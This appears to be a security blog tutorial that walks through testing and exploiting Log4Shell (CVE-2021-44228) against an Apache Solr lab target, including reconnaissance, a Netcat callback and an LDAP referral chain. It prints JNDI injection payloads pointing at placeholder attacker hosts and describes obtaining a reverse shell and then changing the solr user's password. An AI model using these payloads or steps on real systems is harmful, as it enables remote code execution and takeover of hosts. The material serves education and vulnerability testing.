Cyber SecurityHow to Test Your Own Vulnerability to the Log4Shell Attack Chain in Apache Solr
By: Herm Cardona
WARNING
- Blog articles related to hacking are only for informational and educational purposes. Any time the word “hacking” is used on this site, it shall be regarded as Ethical Hacking. You may try out these hacks on your own computer at your own risk. Performing hack attempts (without permission) on computers that you do not own is a serious crime under federal law.
- Refer to the laws in your province/country before accessing, using, or in any other way utilizing these materials. These materials are foreducational and research purposes only.
- Any actions and or activities relating to the material contained within this website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The author and Winmill Software will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.
On December 9th, 2021, the cybersecurity community was made aware of a new vulnerability affecting the Java logging package Log4j. Identified as CVE-2021-44228, this vulnerability earned a severity score of 10.0 (the most critical rating). It enables remote code execution on hosts with software that utilizes this Log4j version. This attack has been dubbed “Log4Shell.”
This article will showcase how you can test for, exploit, and mitigate this vulnerability within Log4j.
Presently, Log4j version 2.16.0 is available that patches this vulnerability. JNDI is fully disabled, support for Message Lookups is removed, and the new DoS vulnerability CVE-2021-45046 is not present. You can get the patch here.
The greatest danger of this vulnerability is due to how widely used the logging package is. Millions of applications as well as software providers use this package in their own code. While you may be able to patch your own codebase using Log4j, other vendors and manufacturers will still need to push their own security updates downstream. Many security researchers have likened this vulnerability to that of Shellshock, by the nature of its enormous attack surface and the ability to execute commands with higher privileges.
For a growing community-supported list of software and services vulnerable to CVE-2021-44228, check out this GitHub repository.
Here is how you can test for this vulnerability.
Reconnaissance
First, we run a full tcp scan (establishing a complete connection with a range of ports) of the target computer to identify open ports and running services. We discover Apache Solr 8.11.0 running on port 8983.
We visit http://10.10.33.38:8983 and are presented with an Apache Solr web interface. We scroll down and discover references to Log4j in line 5 of the Args (“arguments”). We now have two of the requirements for this vulnerability: The application runs Java and uses Log4j for logging. (Figure 2).
For the purpose of this demonstration, we’ve been provided with an archive of Solr logs. We unzip the archive and begin examining the contents of each log in search of useful clues.
We inspect solr.log and immediately notice several INFO entries showing repeated requests to /admin/cores. We also notice that “params” may be user-controlled in four requests where the id parameter has been set to 1337, the infamous “l33t speak” short version of Elite (31337) a very common hacker expression. This indicates that a breach may have occurred already!
Proof-of-Concept
We already know the general payload to abuse this Log4j vulnerability. The format of the usual syntax that takes advantage of this looks like this:
${jndi:ldap://ATTACKERCONTROLLEDHOST}
This syntax indicates that the Log4j will invoke functionality from “JNDI,” or the “Java Naming and Directory Interface.” Ultimately, this can be used to access external resources, or “references,” which is what is weaponized in this attack.
Notice the ldap:// schema. This indicates that the target will reach out to an endpoint (an attacker-controlled location, in the case of this attack) via the LDAP protocol. For the sake of brevity, we will not need to cover all the ins and outs and details of LDAP here, but know that this is something we will need to work with as we refine our attack.
For now, know that the target will in fact make a connection to an external location. This is indicated by the ATTACKERCONTROLLEDHOST placeholder in the above syntax. You, acting as the attacker in this scenario, can host a simple listener to view this connection. The next question is, where could we enter this syntax? Anywhere that has data logged by the application!
This is the crux of this vulnerability. Unfortunately, it is very hard to determine where the attack surface is for different applications, and ergo, which applications are in fact vulnerable. Simply seeing the presence of Log4j files doesn’t give us a clue to the exact version number, or even where or how the application might use the package.
We have already discovered that we could supply parameters to the /solr/admin/cores URL. Now that we have a better understanding of how Log4j works, we have determined that this is where we should supply our inject syntax. We can simply supply HTTP GET variables or parameters which will then be processed and parsed by Log4j. All it takes is a single line of text, and that makes this vulnerability extremely easy to exploit.
If you would like more information on this JNDI attack vector, please review this Black Hat USA presentation from 2016.
We begin by setting up a Netcat listener on port 9999 in our attacking machine to receive the connection (Figure 4):
Next, we send a cURL (client URL request library) GET request to our target with a jndi:ldap request to our attack box as the foo parameter (a placeholder for a value that can change) (Figure 5).
The jndi:ldap connection is forwarded to our listener indicating the vulnerability is exploitable (Figure 6).
Exploitation
At this point, we have verified the target is in fact vulnerable by seeing this connection caught in our Netcat listener. However, it made an LDAP request, so all our Netcat listener received were non-printable characters (strange-looking bytes). Now we need to build upon this foundation to respond with a real LDAP handler.
We will utilize an open-source utility to stage an “LDAP Referral Server.” This will be used to redirect the initial request of the victim to another location, where we will host a secondary payload that will ultimately run code on the target. The attack chain breaks down like this:
- ${jndi:ldap://attackerserver:1389/Resource} -> reaches out to our LDAP Referral Server
- LDAP Referral Server springboards the request to a secondary http://attackerserver/resource
- The victim retrieves and executes the code present in http://attackerserver/resource
- We get a reverse shell.
Step 1 – Start the LDAP referral service to redirect connections to our secondary HTTP server hosting the exploit payload (Figure 7).
Now that our LDAP server is ready and waiting, we can open a second terminal window to prepare our final payload and secondary HTTP server. Ultimately, the Log4j vulnerability will execute arbitrary code that we craft within the Java programming language. We will use simple syntax that simply “shells out” to run a system command. In fact, we will retrieve a reverse-shell connection so we can gain control over the target machine! First, we create our payload in a text editor of your choice (Sublime Text), with the specific name Exploit.java (Figure 8).
Step 2 – We compile and serve the exploit on port 8000 (Figure 9).
Step 3 – We set up a listener to catch our reverse shell (Figure 10).
Step 4 – We trigger the exploit with a cURL request.
Step 5 – We receive a reverse shell (Figure 12) as the solr user.
We change the password of the solr user and login via SSH to continue exploitation in a stable shell. We have successfully exploited CVE-2021-44228 on Apache Solr.